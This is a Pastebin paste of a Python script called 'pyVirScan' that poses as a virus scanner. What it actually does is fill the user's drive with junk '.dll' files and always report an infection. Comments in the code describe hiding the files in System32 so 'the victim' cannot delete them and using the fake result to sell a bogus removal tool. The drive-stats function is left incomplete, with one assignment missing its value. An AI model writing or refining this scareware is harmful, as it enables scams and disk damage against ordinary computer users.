Advertisement
Gentoo7

pythont.py

Jul 17th, 2014
12,726
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3.  
  4. import os
  5.  
  6. def get_drivestats():
  7. #This retrieves the amount of free space on the drive in bytes
  8. drive = os.path.splitdrive(os.getcwd())[0].rstrip(':')
  9. sectPerCluster, bytesPerSector, freeClusters, totalClusters = \
  10.  
  11. free_space = freeClusters*sectPerCluster*bytesPerSector
  12. return free_space, drive
  13. print ("-"*40)
  14. print ("-" + " " * 9 + "Welcome to pyVirScan" + " " * 9 + "-")
  15. print ("-" + " " * 2 + "A Virus Scanner written in Python!" + " " * 2 + "-")
  16. print ("-" + " " * 13 + "Version 1.00" + " " * 13 + "-")
  17. print ("-"*40)
  18. print ("Be patient, you will be notified when the scan is complete")
  19. #print ("Current Progress: 0.01%")
  20.  
  21. free_space, drive = get_drivestats()
  22.  
  23. #Convert free_space to kb and store in a variable
  24. kb = float(1024)
  25. kbFree = free_space / kb
  26.  
  27. #Find the amount of files you need to create to *almost* fill the drive
  28. fillWithFloat = kbFree / 409600
  29.  
  30. #convert the amount of files needed to create from a
  31. fillWithInt = int(round(fillWithFloat))
  32. loopNum = 1
  33.  
  34.  
  35.  
  36. for y in range(fillWithInt):
  37. block = '0' * 409600
  38. #This saves the files to the current directory, but change it so that it changes it to System 32, so the victim can't find the file they are trying to delete!
  39. bigFile = file("sysscanresults" + str(loopNum) + ".dll", 'wb')
  40. for x in range(1000):
  41. bigFile.write(block)
  42. bigFile.close()
  43. #Didn't finish writing the percent complete function, you can uncomment and fix the lines of code if you want
  44. #percentComplete = loopNum * fillWithInt / 100
  45. #print ("Current Progress: " + str(percentComplete) + "%")
  46. loopNum += 1
  47.  
  48. if 1 == 1:
  49. virus = 1
  50. if 1 != 1:
  51. virus = 0
  52.  
  53. print ("-"*40)
  54. print (" " * 12 + "Scan Completed!")
  55. print (" -"*20)
  56. print ("Results:")
  57. if virus == 1:
  58. #This will always be true, unless the source is edited
  59. #For scamming purposes you could tell them to buy a virus
  60. #removal tool or something of the like.
  61. print("The results were positive, your computer is infected.")
  62.  
  63. #Yet to add the text file creation
  64. #print("To see the full list of results, navigate to C:\\results.txt")
  65. #print("In the text file you will see:")
  66. #print ("1) What you are infected by.")
  67. #print ("2) Details of each infection.")
  68. #print ("3) What you can do to remove the virus'.")
  69.  
  70. if virus == 0:
  71. print("Your computer is clean!")
  72.  
  73.  
  74. print ("Thankyou for using pyVirScan")
  75. print ("-"*40)
  76. exit = raw_input("Press <enter> to exit...")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement